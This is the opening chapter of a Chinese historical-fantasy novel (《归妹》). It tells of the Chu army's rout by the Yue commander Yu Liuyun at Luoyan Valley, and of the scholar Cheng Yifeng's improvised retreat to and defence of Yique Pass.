《归妹》 1. 第 1 章 连续下了数天的暴雨终于渐渐止歇,天空苍白,仿佛被雨水洗尽了颜色,而落雁谷两边山坡上茂密的松树林则黑森森的,恰形成鲜明的对比。寒意像蜘蛛网,一层一层往人身上粘,没有一丝初夏的感觉。连天空飞过的乌鸦都显得瑟缩,无精打采,懒得哀叫。 馘国景康皇帝觉得自己就像这些饥饿的乌鸦,被赶到这边又赶到那边。然而乌鸦还有其巢穴,他,一个堂堂的龙子凤孙已经无家可归了。 这一年,是楚元酆二十二年,樾庆澜元年。本来也是馘景康五年。可是,一个月前,樾军攻破了馘都郢城。景康帝自己虽然在亲军的保护下逃脱,但是一路被樾军追击来此,狼狈万状的他知道,他的国家已经名存实亡。 楚是馘之盟国。平寇大将军耿近仁闻讯率领三万军队前来营救支援。不过景康帝知道,那不过是找了个动听的名头来分一杯羹罢了。倘楚军真能收复馘地,最多也不过让他做楚国的“儿皇帝”。 这总比作亡国之君好吧?他自我安慰着,踏进楚军中军大帐。 和他的忧愁全然相反,大帐中的气氛比新春佳节还欢腾热闹。只见耿近仁和手下的副将、游击以及幕僚们围座成半个圈儿正饮酒,而帐当中原本放沙盘行军图的桌子上一个脸涂得煞白的小丑正拿腔拿调地表演。 “樾国的勇士们,”他尖着嗓子,“这片土地已经被我们征服,因此就是我们大樾国的领土。不管楚国的鼠辈打着什么旗号想拣个现成的便宜,我们都要让他们好好受些教训……” “呸!你是个什么东西?”耿近仁笑骂。 “我?”小丑夸张地一挺胸,“在那些狂妄的楚人的眼里,我是个初出茅庐的无名小卒,在你们——我的部下们看来,我是个靠裙带关系的亲贵子弟。你们大概想,你们在前线冲锋陷阵流血流汗,我却在后方骑在马上观望,准备随时逃跑?” “难道不是么?”耿近仁大笑。 小丑一伸手,把腰里缠着的一张黄纸条撕了下来,挥了挥,道:“这是御赐的腰带,如今取下。”又滑稽地将两脚踢了踢:“这是我的马刺,我将它们丢在你们的脚下。”说这句时,也不知踢到了桌上的什么东西,“嗖”地直朝看客们飞了过去。一个原本在打瞌睡文官模样的人被打中了,一惊而醒。众人听他“啊呀”了一声,循声望去,才发现他睡觉时不留神,把脸枕在了墨迹未干的文书上,现在满脸都是字。众人不禁哈哈大笑。而那小丑则慌忙道歉:“程……程大人,小的不是故意的。” “别管他!”耿近仁命令,“把你的戏演完。” 小丑无法,只好接着刚才的演下去:“我告诉你们,我会站在这里,和你们一起战斗。今日一起流血的,就是兄弟……也许我们中有些人注定会埋骨异乡,化为腐朽;但是我们中大部分人一定会凯旋归国,而今日的战斗,就会成为我们年老之时向子孙后代炫耀的事迹,并且还会成为我们百年后荣耀的墓志铭。樾国的史书上一定明明白白地记下今天的一切……” 演到这里,耿近仁等已经前仰后合,有的把一口酒喷了出来,有的则被呛着了,直咳嗽。耿近仁自己伏案狂笑:“玉旒云——这个将军叫玉旒云是不是?毛还没长齐呢,就来跟本将军对决。不省省力气给自己挖坟墓,倒来发表一通演说?把打仗当成唱戏么?” “回将军的话,”一个劲装汉子说道,“小人到樾军营地刺探时,是亲耳听到这篇狗屁演说的。当时天还没大亮,看不太分明,不过这个玉旒云将军长得像个小娘们似的。听说姐姐是当今樾国皇后,所以年纪轻轻就做了御前一等侍卫。为了将来仕途着想,才外放出来领军。看来是部下都不怎么服气,所以想说些煽动的话。” “哼!”耿近仁轻蔑地,“说几句话就能把那一万老弱病残变成三万精兵了么?慢慢说吧!说完了老子再去收拾他们!” “耿将军。”景康帝毕竟是被玉旒云一路追击来到这里的,对这个对手还有些了解,“这位玉将军虽然年纪轻,又是才领军不久,不过,听说已经参加过好些战役了。之前樾军灭亡铴国的梁城之战,就是这位玉将军用个‘退兵牧马’的幌子,把铴国老将骗进了樾军的包围圈。后来和郑军在冀水一战,又是这位玉将军下令士兵五渡冀水,每次一万人去,五千人回来,如此悄悄地把两万多兵士悄悄埋伏在郑国大将军曹猛的身后,最终一举歼灭郑军主力,又将曹猛斩杀于阵前。郑国皇帝不得不向樾国求和,把半壁江山都割让了……” “那些只是雕虫小技。”耿近仁不耐烦地打断,“再说,梁城之战的领军大将是樾国的赵临川,冀水之战的主将是吕异——玉旒云?听都没听说过。就算真的有点小聪明,那也要看对敌的什么人——”发觉自己这话有暗骂馘国军队不堪一击的意思,赶紧又加上一句:“樾国将领草包居多。其中最厉害的是那平北大将军岑广,十五年前率军一直打到我们楚京凉城城下。但是结果呢?嘿,他看到一个书生在城楼上搂着几个妓女在歌舞作乐,就疑心城中伏有重兵,不敢轻易进攻。其实那会儿凉城里最多不过有几个刑部狱卒罢了。这书生让他们一到夜里就打开城门向外放箭,搞得岑广以为我军偷袭,更加如履薄冰,后来干脆就撤军了——你看,这就是樾国的开国元勋三朝老将平北大将军岑广!越老越没胆,何足为惧?” 景康帝不说话。 楚军的探子道:“陛下真的不用担心。您看——我军三万,兵精粮足。而樾军呢?他们本来只一万人,一路从郢城追击陛下而来,现在有伤的,有病的,不知还有几个可以战斗。最近又连降暴雨,他们的粮道被切断,大概已经有好几天没有吃上一顿饱饭了。怎么是我军的对手呢?” 耿近仁道:“不错。你刚才不是还说,樾军现在只有步兵和弓箭手作战吗?樾国的蛮夷们一向自诩黑甲铁骑无敌天下,现在居然连骑兵都没有了——估计马匹不是病死光了就是被吃了。和这样的部队对决,我看半个时辰就可以将他们杀得片甲不留。” “留下那个玉旒云。”旁边有人笑道,“既然是皇亲国戚,说不定可以拿来和樾国皇帝讲讲条件呢!” 众人正享受战前贬损敌人的乐趣。却忽然听到边上一个声音嘟嘟囔囔地道:“满地都是烂泥,走都没法走,要骑兵有什么用呢?到时候还成了人家的活靶子。” 声音虽然不大,又是自言自语,但耿近仁还是听到了,“啪”地在案上一拍,连酒壶都震倒了:“程亦风!你在念什么经?” 景康帝随着众人一起望过去,原来说话的正是方才那个打瞌睡的文官。他脸上的字迹都还未擦去,细细一辨认,哪里是什么军中文书了,是一首边塞诗的开头,曰:“无端迷魂惊落雁”。后面仿佛是在推敲对仗,所以列了“鸣枭”“饥乌”“啼猿”几个词做选择——这边大家热火朝天地讨论着和樾军的决战,他那里又是写诗,又是打瞌睡,又是说风凉话,难怪耿近仁会生气了。 文官程亦风大约自悔无状,摇摇手:“没说什么……下官在计算我军粮草的消耗……” “哼!”耿近仁冷笑一声,走到他跟前,一把将那边塞诗涂鸦抓了过来,看看,道:“程探花,你是不是觉得给本将军做一个小小的北伐粮道太委屈你了?” 程亦风垂头不语。 耿近仁转身对景康帝道:“陛下,方才我跟你说当初樾军打到我凉城城外,被一个书生摆空城计吓跑了。那个书生不是别人,就是这位程亦风程大人。他当年才一十七岁,新科刚中探花,风流无人能及。凉城花街柳巷里所有的妓女都认识他。” 原来是他!景康帝好奇地打量程亦风:他看来颓废迂腐,一身穷酸味,垂着双眼,好像总是睡不醒似的。很难让人找寻一丝“风流少年”的痕迹。更加无法想像他是怎样面对樾军临危不乱,摆出空城计救下祖国的。更加让景康帝不解的是:如果程亦风凭空城计解了凉城之围,那就应该是楚国的大英雄,如今怎会这般不堪地在耿近仁军中做一个小小的粮道? 耿近仁接下来的话解答了他的疑问:“其实呢,程探花的所谓空城计,只不过是把岑广吓得不敢攻城而已。当时我国破虏将军司马非调集兵马,只等岑广攻进凉城麻痹大意时,他就来个‘黄雀在后’。岑广接到司马将军领兵正接近自己的消息,怕被前后夹击,这才从凉城撤退。而且,他故意绕路,避开了司马将军的兵队,不仅使司马将军扑了个空,还转趁着他离开原驻地,占领了我国重镇平崖。后来,司马将军不得不调转头来,花了好大功夫收复平崖——所以,程大英雄自以为得意的空城计,扰乱了司马将军的计划,根本就是‘越权祸国’!”他顿了顿,看向程亦风道:“程大人,你为了这件事被贬出京做了好几年县令,如今还不吸取教训么?书生就应该做书生的事,行军打仗你懂个屁!” 程亦风的身体微微颤抖,景康帝猜测,他的脸必定一阵红一阵白。读书人都有些傲气,况且,虽然在大局上来说,他的确是搅乱了人家的计划,但是兵临城下之时,他还能做什么别的吗?为什么,当樾军打到了凉城,那里会没有一个守卫的军士?没有一个掌控大局的朝臣,就剩这一个科举新中,恐怕连官都还没来得及封的书生?景康帝既好奇,又有些为程亦风不平。“程大人刚才也不过是随便说说。”他来解围,“耿将军不必发这么大脾气。” 耿近仁虽然没把这亡国皇帝放在眼里,但还是要给他几分面子:“他如果是随便说本将军,那自然无所谓。不过说扰乱军心的话,那就应该军法处置了——既然陛下为他求情,那就算了。” 景康帝道:“朕方才听到樾军那边号角响起,大概已经集结列阵。不知将军打算怎样对付他们?” “那简单。”耿近仁走到沙盘边,“他们既然没有骑兵,那么主要的打击力量就是弓箭手了。我军只要以骑兵冲上去将弓箭手缠住,然后让轻步兵支援骑兵在敌阵中打开缺口,当龟裂产生时,重步兵一拥而上,以人数将对方压倒——樾军决没有反抗的余地。” 并不是什么绝妙好计。不过,力量上有压倒性的优势,怎么打都是能赢的。景康帝道:“将军,朕有一不情之请。朕想率领侍卫亲军参加战斗,亲自向樾寇讨还血债,不知将军能否成全?” “哦?”耿近仁摸了摸下巴,揣度这逃命皇帝的企图。不过,管那么多呢?刀剑无眼,如果景康帝在乱军中死了,那楚国便可以名正言顺地吞下馘国这块肥肉,再以此为根据地,进军樾国,好好一雪楚樾之争中楚国多年失利的耻辱。“御驾亲征,最能鼓舞士气啊!”他笑道,“欢迎之至。陛下就跟本将军一起率领右翼骑兵冲锋吧!” 景康帝点了点头。 正在这个时候,外头有士兵跑了进来:“禀报将军,樾军已经朝我方推进。” “哈!送死来了!”耿近仁大笑着,招呼部下暂时放下酒菜,待回头庆功再饮。“等我们凯旋回来时,这些菜还是热的呢!”他拿起头盔,整整战袍,又对坐在那里发呆的程亦风道:“程大人,是你大显身手的时候了。可以开始起草捷报了。到我得胜归来时,正好派人送回京城去——你文采风流,一定要写得花团锦簇啊!哈哈哈哈!”一串狂笑,他率领部下出了军帐。 楚军这边吹号集结列阵,骑兵在前方两翼,中间是重步兵和弓箭手,后面一个方阵是轻步兵,最后是准备扫荡战场的第三骑兵方阵。落雁谷谷底虽然不算狭窄,但是楚军人数众多,所以阵列十分拥挤。士兵们推推搡搡,好一会儿才集合完毕。没有一个人把病累交加的樾军放在眼中,站定了还嘻嘻哈哈地说几句风凉话。 景康帝带着自己亲兵跟耿近仁在右翼骑兵阵中观望敌情,见樾军步兵有三个方阵,弓箭手有两个方阵和两个楔形阵。整个队伍排成带状,两个弓箭手方阵在侧,紧挨着树林,中间是步兵方阵和弓箭手楔形阵相间排列,行进缓慢。 “总共就那么几个人,当然只能排成这德性!”耿近仁用望远镜看了看,发现樾军许多士兵都拄着一根手臂粗的木棍,不禁冷笑:“呵——究竟是病得连路也走不动了,还是兵器不够拿树枝来凑?” “将军打算现在冲锋么?”景康帝问。 “不。”耿近仁道,“让他们慢慢走。他们走得越远,力气消耗得就越多。咱们休息休息。”于是命令全军原地等待命令。 樾军继续缓慢地前进。用了差不错半个时辰的光景,才来到了距离楚军大概一百五十丈的地方。这时,整支队伍停住了。原本拄着木棍的士兵纷纷将木棍插在地上,在阵前形成了一道好似篱笆的隔离物。 “娘的!这是干什么?”耿近仁方问,忽然就听“嗖”的一声,一支羽箭擦着他的耳边飞了过去,跟着后面就传来惨叫声。“混蛋!”他叱骂。再看樾军那边,“篱笆”的后面弓箭手已经拉满了弓,一眨眼的功夫,箭矢如雨而下。 身边惨叫声不绝。景康帝被亲兵护卫着,退后躲避。耿近仁一边命令重步兵盾牌掩护,一边让楚军的弓箭手还击。慌乱之中,楚军这边也终于发射出了第一批箭矢,可惜,只飞到百丈多一点儿就落下了。 “蠢材!你们没吃饭么?”耿近仁骂道,“你们连老弱病残都比不过么?” “将军,”景康帝道,“你不知道樾军用的弓和我军不同么?他们的长弓有一人高,射程比普通的弓远,杀伤力也大。樾人从小就学骑射,所以很有准头。郢城之战时,朕的士兵就吃了不少苦头。” “废话!”耿近仁怒道,“本将军当然知道樾国的兔崽子用长弓了,要不然本将军怎么会计划先用骑兵缠住这些可恶的长弓手?他娘的!骑兵跟我冲锋!抓到樾国长弓兵,就把他的手剁下来!”话音落下,他已经一夹马腹,直朝樾军冲了过去。后面的骑兵紧随而上。本来景康帝的亲兵想劝他留下,但是千余战马一齐向前冲,根本不容他一人退后,顷刻就像被洪水卷住了一般,奔向樾军。 景康帝从不曾上过战场。这一次说是要亲手报仇,无非是想趁着楚军必胜,自己也分一点功劳,将来和楚国元酆皇帝讨价还价时也多一点筹码。如今真的处身千军万马之中,他根本不知该如何应对,只由着他的马带他乱闯。没多大功夫,他就又赶到了队伍靠前的地方,可以清楚地看到耿近仁,手持一把金光闪闪的大刀,口中呼喝着,勇不可当。 这个将军虽然傲慢讨厌,但总算也骁勇。他正想着,耿近仁已经到了樾军的“篱笆”跟前。“这么个破烂玩意儿就想挡住老子?”他吼叫一声,催马跳跃,打算先踩死几个敌人。 樾军的木篱笆并不高。若在平时,的确可以一跃而过。但是,连日的大雨使得地面松软,马借不到力,奋力跳起还不到半人高。耿近仁心中方才感觉不妙,坐骑的腿已经绊在了木棍上,而他也从马上飞了出去,落入樾军阵中。 “啊——”景康帝大惊。 不过,耿近仁虽然摔了一下,却立刻又站了起来。大刀一挥,砍倒身边的敌人。旁边的樾兵急忙应战。然而樾军长弓兵只配短刀,怎么是耿近仁那把长刀的对手,霎时又被他斩杀数人。后面追上许多骑兵本也在木篱笆上吃了苦头,但是见耿近仁杀出了一条血路,士气大振,也纷纷抽刀拔剑,或者砍向木棍为后面的战友开路,或者刺向敌人,帮耿近仁打开缺口。 景康帝的战马被推着,越来越接近樾军的篱笆了。 好!朕也豁出去了!他想,便要下马。 然而就在这个时候,忽然看到樾军阵中闪过一条人影——那是一个中等身材的青年武将,雪白战袍,外罩银白盔甲,偏系了一袭漆黑如夜的披风,衬着一张脸瓷器似的发出寒冷的光芒。本来这天气只是因为阴雨而显得湿冷,这个人的出现,却像是一根冰锥,叫人立刻明白什么叫“刺骨”。 啊,莫非是玉旒云?景康帝心中不自觉地浮起这个名字。 他还不及再有其他的想法,这冰锥似的武将已经抽出剑来,一击便刺死了一个楚国士兵,接着飞扑向前,又结果了一个,第三剑刺出的时候,景康帝只叫出声“耿将军当心”,长剑已经穿其后心而入。耿近仁还挣扎着要回头看看是谁背后伤他,这武将又拔出了剑,干净利落地一挥,砍下了他的脑袋。 整个过程只不过是一次呼吸的功夫。凡目睹的楚军全都呆住了。 “玉将军,真是——”樾军士兵欣喜非常。 这武将果然就是玉旒云了,斩杀了敌军主将却没有露出一丝得意的神情,依然是那样冷冷的,道:“保持队型!凡杀过来的楚人一个都不留!继续放箭!” “为耿将军报仇!”惊愕过后的楚军才反应了过来,再次冲击樾人的阵地。毕竟楚军人多,樾军的木篱笆挡不了多久就被踏出一个缺口——不过这时楚军已经不再记得原先的战略目标了,只想着,己方主将被杀,非得把对方的主将也杀了,这才能扯平,于是大部分越过敌人防线的人,都叫嚣着直朝玉旒云冲了过去。当然,樾军岂能让他们轻易得逞,纷纷用短刀砍楚国骑兵的马腿,登时马倒人落,掀起了一场混战。 景康帝的亲兵好不容易重新来到了他的身边:“皇上,这里太危险,还是先退开吧。” 景康帝一半是因为被乱军挤着,动弹不得,一半是很想看到楚人砍下玉旒云的头来,所以虽“嗯、嗯”地答应,眼睛却一直盯着樾阵。 他看到已经有不少楚兵将玉旒云围住了,白刃乱下,也不知哪一刀哪一剑是谁砍的。正心焦之时,见楚兵中有一个使大锤的怒吼着冲了过去,一路上双锤乱舞,打暴了好几个樾军的脑袋,待接近玉旒云时,他断喝一声:“樾狗,纳命来!”就狠狠地砸了下去。 景康帝伸长脖子一看,见玉旒云只是用剑架着那双铁锤,显然是相当吃力了。景康帝的心提到了嗓子眼儿。“杀!杀呀!”他默默地叫着。 可说时迟那时快,樾军阵中又扑出另一个年轻武将来,高挑健壮身手敏捷,手端一柄长枪,狠劲一挥,“啪”地就打在了那使锤人的头上。那人立刻仰面摔倒。这武将又挺枪直搠,玉旒云也一剑刺到,最终,两人的兵器一起将那使锤的钉在了地上。 “玉将军,你没事吧?”这武将问。 “没事。”玉旒云拍拍他的肩膀,“谢谢你,梦泉。”说完又高声命令:“队型!保持队型!千万不要让楚国的鼠辈把我们冲散了!” 梦泉?景康帝想起,玉旒云有个亲信叫石梦泉,是从小到大的玩伴,又一起从侍卫府外放出来,看来就是此人了。两人配合简直天衣无缝!他忽又想起玉旒云那篇被耿近仁拿来当闹剧的演说——这个将军说要和普通士兵并肩作战,果然不假。 看到玉旒云雪白的战袍已经染上了血迹,瓷白的脸上似乎也有了伤口,景康帝反而被恐惧攫住:他怎么可能战胜这个人?恐怕耿近仁的这支军队也战胜不了这个人! “皇上?”亲兵又叫他。 “走,我们快退回去!”景康帝拨转马头。 这时,他发现许多楚军骑兵也在调头向后。大概是樾军前仆后继誓死保持阵型,让他们对闪电突破失去了信心吧?再加上耿近仁的死,无疑是一个很大的打击。这股粘滞的潮水互相推搡着,一边躲避樾军的弓箭,一边撤退。 大概才退了一半的路程队伍就走不动了。后面的人不断地被弓箭射中,而前面的人却不停地咒骂着从马上跌下来。 “出了什么事?”景康帝紧张地问道。 他的亲兵不得不下了马,拼命朝前挤着看个究竟,才来回报:“是楚军的步兵进攻了。骑兵闯到了自己的步兵阵里。” “什么?”景康帝气得差点儿在马上跳了起来,“现在怎么办?要不,我们从树林里退?” 亲兵道:“过不去——这边是冲锋的重步兵,靠树林那边是轻步兵,走哪儿都会和他们撞上的。” 景康帝记得耿近仁的计划里,骑兵先打开缺口,轻步兵支援,然后重步兵才冲锋,现在怎么乱成一锅粥?不过他没心思理会楚人怎么打仗,还是自己逃命要紧。因对亲兵道:“那就不管了,咱们就这样冲回去。你帮朕开路。”言下之意,当然是要斩杀挡路的楚国步兵了。 亲兵会意,上了马,像被投石机掷出了石弹一般朝前冲去,一路乱砍,帮主子开辟一条血路。楚军步兵虽然有的破口大骂,但是大多既要应付脚下的烂泥,又要应付头顶上飞来的流矢,根本就没功夫和景康帝计较。何况,许多撤退的楚军骑兵虽然没有拔剑砍向自己的同胞,但是用马蹄践踏开路,也杀伤力不小。没多时,楚军重步兵就有不少倒在烂泥之中,一个压一个挤成一大片。 樾军此时也结束了消极防守走出了木篱笆。玉旒云下达前进的命令。步兵以盾牌掩护弓箭手,大长弓兵则继续放箭射杀冲上来的敌人。全军始终保持着阵型,向乱成一锅粥的楚军推进。 不到一顿饭的时间,两军已经短兵相接上了。樾军的步兵手持钢刀,原本是骑兵这次下马作战的则使用长枪,远近配合,直击那些在烂泥中挣扎的楚兵。长弓手则将弓箭收起,或拿短刀,或随便拣起被楚人丢弃的武器,加入到近身搏斗中来。景康帝只听得身后一片喊杀与惨叫之声,不敢回头,不须回头,就知道战况大致如何了。到他终于跑回楚军的大营时,虽然楚军的两个步兵阵还在继续向前线推进,但两个骑兵阵已经全都败退回来,这一次乱七八糟的冲锋,伤亡有半数都不止。 现在如何还想着取胜?当然是保命最要紧!只要能冲出落雁谷,就可以到达依阕关,从那里坐船渡过大青河就可以到达楚国。景康帝夹紧马腹拼命催着坐骑前进。驰过中军大帐的时候,忽然见到一条人影闯了过来。他本能地勒马避让,马一惊而立起,发现来人是那个北伐粮道程亦风。 程亦风也被他吓了一跳:“哎?陛下,您怎么?”仿佛是从他狼狈的神色里读出了前线的变化,程亦风眉头一皱,眼中那瞌睡不醒的神气完全消失:“怎么?出战失利?” 景康帝道:“何止失利?哎……”三言两语怎么能说得清楚:“程大人,我看樾军不久就要杀到了,耿将军已经死了,你也快逃命吧!” “耿将军阵亡?”程亦风大惊,顾不上听景康帝后面说什么,看不远处就是耿近仁的点将台,即三步并作两步跑了过去。登上台顶一看,混乱的战场便尽收眼底:耿近仁未听他的“忠告”坚持骑兵冲锋,现在非但没有把敌人冲散,反而把自己人踩得一塌糊涂。楚军人数虽众,但是几个副将、游击之间缺乏默契,耿近仁不在,大家没有统一的指挥,更加乱了套,什么顺序,什么进退,每一阵都只顾自己,不管大局。甚至在同一阵中,因为纵深太大,后面的也不知道前面出了什么状况,因此,即使前面的战友已经摔倒,他们也不断地压过去。 程亦风急得直抓脑袋:这样下去,樾军杀到跟前就是迟早的事了!他转身看看,第三骑兵方阵还不清楚前线的状况,都勒马等待最后的扫荡。如果混乱继续扩大,就连这些人也保不住了。 程亦风一咬牙,又“噔噔噔”地疾步冲下点将台。景康帝正要策马:“程大人,快逃命吧!” “陛下!”程亦风拦住了他的马,“陛下请稍等。” “什么?”景康帝方问,程亦风已经冲回中军大帐里去了。片刻,又跑了回来,手中抱着耿近仁的帅旗和金印。 “陛下如果就这样带着几个亲兵逃亡,遇到樾军追击,还是无法脱身。”他道,“如果陛下愿意跟下官一起带着剩下的第三阵骑兵迎击樾军,或许还有一线生机。” “迎击樾军?你疯了么!”景康帝道,“樾军简直就不是人——又伤又病,又冷又饿,都能如此骁勇,如果没有十倍大兵马,怎么挡得住?” 程亦风道:“陛下岂不知落雁谷尽头处就是贵国依阕关么?” 景康帝哪有时间跟他争论自己国家的地理,道:“依阕天下雄关,不过那是说没有人可以从大青河攻陷依阕关从而进入我国。这和你用这几千骑兵以卵击石有何关系?” 程亦风道:“下官随耿将军渡河来支援陛下,就是从依阕关登岸,当时观察过依阕关的地形——其实落雁谷北宽而南窄,依阕关就是建在最窄之地。如果能够退入依阕关,关起城门,绝对一夫当关万夫莫开。只要在那里给追击的樾军以迎头痛击,就可以等待我国援军到来了。” “你们还有援军?”景康帝立刻看到了希望。 “正是。”程亦风道,“我国破虏将军司马非应该正在赶来的途中。” “果真?你怎么知道?” “下官负责粮草。”程亦风道,“兵马未动,粮草先行。耿将军先来,司马将军随后,这是早就计划好的。下官把粮草都运来了,怎么会有假?”他其实不想说,楚国兵部的计划,是以援助为名,占领馘国为实,所以除了司马非之外,还有数位将军会陆续渡河而来,跟樾军争夺馘国这块肥 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骑兵们看他神情严肃,不像是假传军令的,况且旁边还有景康帝,连这个皇帝都下了马,看来真的是另有计划了。于是,一排跟着一排,骑兵都下了马来。负责这一方阵指挥的游击原在队伍的最后,听到传来这个古怪的命令,即上前看个究竟。一见到程亦风,便厉声喝道:“程亦风,你造反了么?” 程亦风将帅旗一挥:“前线情况有变,耿将军命下官来传令。你第三骑兵阵全军下马,徒步撤退到依阕关内迎敌。” 那游击瞥了他一眼:“耿将军有军令,怎么会让你来传?他一向不是拿你当笑柄,就是当出气筒……” “陛下!”程亦风突然转向景康帝,“方才耿将军是否对下官说过,如果谁不听令撤退,就军法处置?” 景康帝怔了怔,还没反应过来,倒是他的那个亲兵侍卫心思转得快些,“唰”地抽出了刀来,架在那楚军游击的脖子上。楚军的骑兵们一看,这绝对不是开玩笑的。加上之前的确看到有左右两翼的骑兵仓惶地撤下来,前线情况有变显然不假。大家就不再有异议,按照程亦风所说的,徒步向依阕关方向撤退。 “等等!”景康帝的亲兵道,“程大人,你忘记了么?方才耿将军不是还吩咐,要骑兵撤退前把马匹赶往前线么?” 程亦风一愣,立刻明白这用意:万马狂奔,可以阻挡樾军追击。但是,也会阻止前线其他的楚军士兵撤退——自己只保着第三阵骑兵,已经觉得很对不起其他士兵,如今赶了马匹去,就是切断他们的生路啊! 然而,景康帝的亲兵打着耿近仁的旗号,如果程亦风否认,等于说自己先前的命令也是捏造的。为了至少保存这几千人马,为了最后一丝扭转败局的希望……他不得不一咬牙:“是,赶马!” 去到依阕关总共有四十多里路。虽然满地的烂泥甚是难行,但毕竟这些兵士都没有受伤,也没有带着辎重,所以天黑的时候就赶到了。 依阕还有少量馘国军队驻扎,见到景康帝不由既惊喜又感慨。另外有部分耿近仁在登陆时留在依阕负责后勤的兵士,看这几千骑兵徒步走了回来,都感到万分奇怪——这时,虽然程亦风还没有正式透露耿近仁的死讯,但大家一路上不断被从战场上逃窜下来的士兵追上,都知道前线败局已定,于是个个垂头丧气。有些人在抱怨:如果第三阵骑兵冲锋,说不定能挽回。但是更多的人,听了追上来同伴叙述樾军的种种,都想:那简直是嗜血成魔的队伍,再多人冲上去,也只是送死吧!远征时满腔的热情,现在荡然无存,只盼望程亦风快点儿下命令南渡大青河。 程亦风一介书生,本来就不习野战,几时在如此恶劣的条件下走过四十里路?进了依阕关他已经两腿打颤,只剩半条人命。幸亏他是做粮道的,这些后勤士兵都同他熟识,立刻送了热茶热饭来,他才稍稍缓过些劲儿。景康帝便在这时来找他:“程大人?怎么不见司马将军带兵来?朕怕再拖下去樾军就追上来了。” “司马将军的兵预定要三天后才会来。”程亦风道,“不过我方才已经让两个士兵坐小艇先过河去通报这边的战况,请求紧急援助。相信司马将军接到消息就会尽快赶来的。” 景康帝天潢贵胄,长途行军把他的意志消磨得更加厉害:“程大人,不是朕想做亡国之君,但是樾军实在凶残。朕恐怕他们一追来就攻下依阕关,那司马将军来时,只能给大家收尸了。” “陛下,”程亦风道,“你忘记之前下官已经分析过,此处易守难攻么?依阕关是贵国最后一座堡垒,如果陛下让它落入樾军的手中,那司马将军就算带再多的兵马来,也很难从大青河攻入此关,以后陛下再想收复失地就难上加难了。” 景康帝擦了擦脑门上的汗珠,依稀想起早先程亦风关于依阕地形的分析。眼前这个不就是用空城计拯救了楚京凉城的人么?他想,不管大局上如何,至少按照他说的,应该可以保住性命。当下,对程亦风一揖到地,道:“程大人,朕的身家性命就都交到你的手上了。他日若能复国,朕一定以宰相礼待大人。” “万万使不得!”程亦风赶忙还礼,不料腿脚不听使唤,竟摔倒下去。恰恰在这个时候,一个依阕守兵慌慌张张地跑了进来:“万岁爷,大人,看到樾军了!” “啊!”景康帝大惊,“程大人?” 程亦风扶着桌子才站稳了:“还有多远?” “我们只是看到对方行军的火把。”那士兵回答,“大概还有一里地吧。” “这……这……”程亦风原地转了好几个圈儿:他只是有这么一个模糊的计划,真的守城打仗,他哪里会?“先前指挥骑兵的那个游击呢?” “还……还押着吧?”景康帝道。 “带他到城楼上来见我。”程亦风边说边拔脚出门,“你们城中有什么火油、火箭的,统统也都准备好——弓箭手统统都上城来!”吩咐到最后一句的时候,他已经一瘸一拐地出去了。 景康帝虽然惊慌怕死,但是好奇驱使着他,紧紧地跟在程亦风身后。两人一起来到依阕关北面城楼时,果然看到漆黑的落雁谷中有一条火把组成的带子,正朝这边移动,看起来就像一条巨大的火龙,一眼还望不到头。 樾军有这么多人?程亦风纳闷:不是总共只有一万人么?白天的一场战斗不是还有伤亡么?现在竟有这么多人追来?心下骇然。 指挥第三阵骑兵的游击被带到了。论品级,他是从三品的大官,而程亦风不过是正五品。今天竟然叫这个书呆子在众人面前下了自己的威风,他怎么也吞不下这口气。正想要咋呼着发作,不料程亦风却先倒身跪下了:“大人,下官之前为救大军,情急之下多有冒犯。请大人原谅。如今樾军追到,到底要如何应对,还望大人定夺。” 这游击登时就愣住了,再一望北方,果然樾军来势汹汹,也就顾不得和程亦风计较:“樾寇长途奔波,疲惫之师应该不足为惧。弓箭手呢?” 早就听程亦风的命令在旁等候了,火油、火箭以及石块都抬上了城来。只是依阕向来只防备南面大青河一侧水上而来的敌人,对于北边陆地攻防毫无经验。弓箭手到了城上,连在哪里隐蔽都不清楚。好在楚军的这位游击——如今向程亦风自我介绍叫孙胜的——之前做过防守尉还有些守城经验,一边叫大家不要慌张,一边安排,又把楚军骑兵中许多射箭好手调来辅助。不时就都妥当了。而樾军的那条火龙也已经到了依阕城下。 景康帝壮着胆子朝敌人望了一眼,害怕而又不自觉地在寻找玉旒云的身影——这个寒光四射的青年,有摄人心魄的力量,看过一眼就会被吸引住。不过,他看了一圈却没有找到,再仔细地看了一回,依然不见,连那个叫石梦泉的副手也不见。 真是奇怪了,他想,莫非阵亡了? 心念才起,就听到樾军中有人高声呼道:“里面守将听着,你们前方耿将军的部队已经被我军消灭。现在你们速速开城投降,否则我们就不客气了!”话音落时,已经“嗽”地射了一箭上来,正扎在城楼的箭垛上,箭身一半没入石中。樾国长弓威力可见一斑。 “他娘的玉旒云这臭小子!”孙胜怒斥道,“待老子收拾你给耿将军报仇!”说着也弯弓还了一箭。他明白擒贼先擒王的道理,虽然敌人众多看不清主将何在,但是大旗在火光中十分显眼,因此瞄准了一箭放了出去。他箭法不俗,羽箭将军旗穿了一个洞,先是一喜,但跟着也一愕:“咦?不是玉旒云的军队!” 程亦风听言也是一怔,朝那大旗仔细一看——可不是么,上面鲜红的一个“赵”字。“震远将军赵临川!”他一惊,既然是赵临川率领大军来到这里,显然是作为玉旒云的后援。赵临川手上有多少人,其后还有没有樾国别的将军,都不可知。他只知道,己方的援军还没消息——这可如何是好? 他看了看孙胜。后者也晓得情况不妙:“怎么也得死守了,否则司马将军来时还不被困死在大青河上?” 程亦风无奈地点点头,对景康帝答:“陛下,城上危险,还是到下面去等消息吧。”景康帝完全没主意,任人摆布,下城时,听见孙胜一声令下,城上箭矢齐发,打响了今天第二场与樾军的战斗。 程亦风知道自己在北面城楼上帮不了什么忙。那些后勤兵劝他不如先休息一会儿。但是他哪里睡得着,只稍稍坐了一下,就又爬上了依阕关南面的城楼,紧紧盯着大青河,希望可以看到楚国兵船的影子。 他身后的天空已经被战斗的火光照亮,厮杀声响彻整个山谷。而面前的大青河却平静异常,夜雾中可以眺望到对岸楚国大堰关的灯火,如此安详,就像是一个人睡着了在床头留了截蜡烛似的。 报信的士兵平安到达大堰关了吗?司马非会提前渡河吗?会什么时候到呢?他焦急不已。 不停地有士兵来告诉他北面的战况,将近黎明的时候,城中的羽箭几乎用尽了,许多士兵只好用木棍蘸了火油当火箭射下城去。所幸楚军和馘军居高临下,这样的攻击方式让樾军伤亡不少,依然不能接近依阕关分毫。只是,大家心里都清楚,木棍也总有用完的时候,樾军的队伍几乎看不到头,大约三、五万人,长此以往,若司马非不来支援,依阕被攻陷是迟早的事。 景康帝也红着眼睛上了城来,看样是一宿未睡:“程大人,司马将军何时来援?” 